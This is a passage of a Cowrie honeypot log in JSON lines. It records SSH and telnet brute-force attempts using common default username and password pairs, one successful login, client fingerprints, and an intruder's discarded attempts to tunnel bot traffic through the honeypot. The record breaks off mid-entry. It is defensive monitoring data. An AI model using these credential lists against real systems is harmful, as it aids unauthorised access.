{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd..","message":"login attempt [root/P@ssw0rd..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:34.683887Z","src_ip":"201.17.146.173","session":"9d54bd5731db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:35.831411Z","src_ip":"201.17.146.173","session":"9d54bd5731db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"config","password":"config","message":"login attempt [config/config] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:36.755477Z","src_ip":"91.92.40.36","session":"29de3dc39cf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":10008,"dst_ip":"10.17.0.5","dst_port":22,"session":"112a3c1e56d3","protocol":"ssh","message":"New connection: 91.92.40.36:10008 (10.17.0.5:22) [session: 112a3c1e56d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:38.535623Z"}
{"eventid":"cowrie.session.closed","duration":"10.7","message":"Connection lost after 10.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:38.643715Z","src_ip":"91.92.40.36","session":"29de3dc39cf8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:39.518780Z","src_ip":"91.92.40.36","session":"112a3c1e56d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:40.067259Z","src_ip":"91.92.40.36","session":"112a3c1e56d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":37038,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3b6f4fe57d6","protocol":"telnet","message":"New connection: 128.199.8.54:37038 (159.203.135.109:23) [session: a3b6f4fe57d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:45.772110Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":10028,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf30331537fb","protocol":"ssh","message":"New connection: 91.92.40.36:10028 (10.17.0.5:22) [session: bf30331537fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:46.412896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:47.106305Z","src_ip":"91.92.40.36","session":"bf30331537fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:47.668925Z","src_ip":"91.92.40.36","session":"bf30331537fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.479087829589844,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:47.785187Z","src_ip":"180.14.31.64","session":"c1f5f5bba753","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:48.465306Z","src_ip":"91.92.40.36","session":"112a3c1e56d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.2","message":"Connection lost after 12.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:50.726030Z","src_ip":"91.92.40.36","session":"112a3c1e56d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123123","message":"login attempt [minecraft/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:51.331222Z","src_ip":"91.92.40.36","session":"bf30331537fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":59125,"dst_ip":"10.17.0.5","dst_port":22,"session":"65695c461158","protocol":"ssh","message":"New connection: 123.27.168.40:59125 (10.17.0.5:22) [session: 65695c461158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:51.802969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:51.808329Z","src_ip":"123.27.168.40","session":"65695c461158","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:52.120560Z","src_ip":"123.27.168.40","session":"65695c461158","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:53.347632Z","src_ip":"123.27.168.40","session":"65695c461158","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:53.449019Z","src_ip":"91.92.40.36","session":"bf30331537fb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:53.720875Z","session":"65695c461158","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:53.865751Z","session":"65695c461158","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:54.160693Z","src_ip":"123.27.168.40","session":"65695c461158","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.80 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=TDgjeikqfkRkKipedlluKA%3D%3DtybMYaXlHgfMZ90h1GGIJGminN5rE6DszsyYikI819Trxi43DQoo0Yau%2FQQTdjApBx43hhIBS3dM1h73Saa%2B4QmRYUJd218ZqGFKTiSN5gyFbHIUPVlavFnMzAGz7iGvcXfPThUSMB3LyJS5yts1uiXugXb5isAKuK3Fsil5kiVnUE93aTtQMSR67qFrafzdKUYhmM5i6UsMOxqm0lpLK785XUn79QS7CjHBOJwAKkcx2HG6bRhaEDRXLo%2BooJL%2Bhz8IoFfS56G3XWg89EFAAaiHcopOnIA%2Bt46NLN5IID4MCKZv%2FXu4giTCUtNSLckIeozhRjnKTxwslLuhIL12K19ZZbIaa%2FTzrg%2FFTiiDET8O3iQA2Wc0xoYbpXRFzAvJ4z1YxMxLX4r%2FYpJy1xUtqtLBAX4QBbD4M1yzVSQ7cSGs9jLjjbpXVN4GwPyeHiiBBPU59VSHEZuz5IenXaEOP2e3ELIjYOInPGyVvrKHriFuWMvOvCr0rtakwQ204oZ23er8PY72VfricRMFYMx1UiSfTduNbOUNH3aDnmQRRb7Kg8p9etMadw4lo1RjYsiZuDaPjKbtwnxR95PCPTX5uwm9KLhIkQmoKoxXiRNswWRiNPNW2Ii3MArxREKbP5geA0V%2Fp%2FZLREYW3WAjiysNG04R9sPRWuDPlxjU5PifaHocRHqarwi77I4YuuVPXQb2r2UgcZ1tNoYfQ0%2BMzXzge1%2FT1P%2F8414J1A0Lh2Ls3tdIuvUSOgoapcfr2kkhj5lPDuYLuf48wELgfa8TVwCcGHSL0AFkw%2FRqw9y6CHj%2F%2BITJ%2BpbiTWKHIf2flsWSE%2FWk3xP5Ln45%2FOvAQw3evrbBAlebMJGsRXkNzBVrP%2Bv88TvL6CJm1rblo6Kw5NQwZgtWb2pmwovIUVN%2FNTJegzbnCIbRxXs7x39Lm%2BRJeqm3LcIzCBvvW3KlnYRy8mo2JcYxa1eG%2BFyvhs83XB22b4oFLmeieTrxdNhCBzZpfg8kI0v6Bp%2BN4SErC%2Fj3g8h%2B6xu18CpRh1%2FBIrzJVpWGKCJ%2BpVGG%2BxEvKxxNrItjfWiRHh0qqescyPUmBBrVnyJkgb6Z'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.80 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=TDgjeikqfkRkKipedlluKA%3D%3DtybMYaXlHgfMZ90h1GGIJGminN5rE6DszsyYikI819Trxi43DQoo0Yau%2FQQTdjApBx43hhIBS3dM1h73Saa%2B4QmRYUJd218ZqGFKTiSN5gyFbHIUPVlavFnMzAGz7iGvcXfPThUSMB3LyJS5yts1uiXugXb5isAKuK3Fsil5kiVnUE93aTtQMSR67qFrafzdKUYhmM5i6UsMOxqm0lpLK785XUn79QS7CjHBOJwAKkcx2HG6bRhaEDRXLo%2BooJL%2Bhz8IoFfS56G3XWg89EFAAaiHcopOnIA%2Bt46NLN5IID4MCKZv%2FXu4giTCUtNSLckIeozhRjnKTxwslLuhIL12K19ZZbIaa%2FTzrg%2FFTiiDET8O3iQA2Wc0xoYbpXRFzAvJ4z1YxMxLX4r%2FYpJy1xUtqtLBAX4QBbD4M1yzVSQ7cSGs9jLjjbpXVN4GwPyeHiiBBPU59VSHEZuz5IenXaEOP2e3ELIjYOInPGyVvrKHriFuWMvOvCr0rtakwQ204oZ23er8PY72VfricRMFYMx1UiSfTduNbOUNH3aDnmQRRb7Kg8p9etMadw4lo1RjYsiZuDaPjKbtwnxR95PCPTX5uwm9KLhIkQmoKoxXiRNswWRiNPNW2Ii3MArxREKbP5geA0V%2Fp%2FZLREYW3WAjiysNG04R9sPRWuDPlxjU5PifaHocRHqarwi77I4YuuVPXQb2r2UgcZ1tNoYfQ0%2BMzXzge1%2FT1P%2F8414J1A0Lh2Ls3tdIuvUSOgoapcfr2kkhj5lPDuYLuf48wELgfa8TVwCcGHSL0AFkw%2FRqw9y6CHj%2F%2BITJ%2BpbiTWKHIf2flsWSE%2FWk3xP5Ln45%2FOvAQw3evrbBAlebMJGsRXkNzBVrP%2Bv88TvL6CJm1rblo6Kw5NQwZgtWb2pmwovIUVN%2FNTJegzbnCIbRxXs7x39Lm%2BRJeqm3LcIzCBvvW3KlnYRy8mo2JcYxa1eG%2BFyvhs83XB22b4oFLmeieTrxdNhCBzZpfg8kI0v6Bp%2BN4SErC%2Fj3g8h%2B6xu18CpRh1%2FBIrzJVpWGKCJ%2BpVGG%2BxEvKxxNrItjfWiRHh0qqescyPUmBBrVnyJkgb6Z'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:54.163855Z","src_ip":"123.27.168.40","session":"65695c461158","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":46300,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e0e50b5620d","protocol":"ssh","message":"New connection: 91.92.40.36:46300 (10.17.0.5:22) [session: 4e0e50b5620d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:54.204162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:54.375061Z","src_ip":"91.92.40.36","session":"4e0e50b5620d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:54.378176Z","src_ip":"91.92.40.36","session":"4e0e50b5620d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:23:54.409994Z","src_ip":"123.27.168.40","session":"65695c461158","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03<yfh\\xb4\\x7f\\x00\\x95B\\xdb9hsp\\xeb[\\x11x\\x82\\xd1\\rb\\x111C\\x19\\x1c\\xe7\\xc9v\\xb4c \\x05\\xc6\\xb4b\\x00;\\xce\\xaa\\x03~\\x8c\\xa9I\\x07\\xbd\\xb4\\xd0\\x0e\\xfb\\xe2\\x13\\xd2\\xe9ix |\\x1e}\\xbd:\\xd4\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb5\\x9b\\xcbh\\xb8\\xf0\\xf5\\xd4\\xa2\\xd5\\xf3\\x11\\xc76$\\xac\\xb6x\\n\\xc3\\x0b\\x99\\xdf\\x17\\x06\\x8c9H?\\xf6ZC\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03<yfh\\xb4\\x7f\\x00\\x95B\\xdb9hsp\\xeb[\\x11x\\x82\\xd1\\rb\\x111C\\x19\\x1c\\xe7\\xc9v\\xb4c \\x05\\xc6\\xb4b\\x00;\\xce\\xaa\\x03~\\x8c\\xa9I\\x07\\xbd\\xb4\\xd0\\x0e\\xfb\\xe2\\x13\\xd2\\xe9ix |\\x1e}\\xbd:\\xd4\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb5\\x9b\\xcbh\\xb8\\xf0\\xf5\\xd4\\xa2\\xd5\\xf3\\x11\\xc76$\\xac\\xb6x\\n\\xc3\\x0b\\x99\\xdf\\x17\\x06\\x8c9H?\\xf6ZC\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\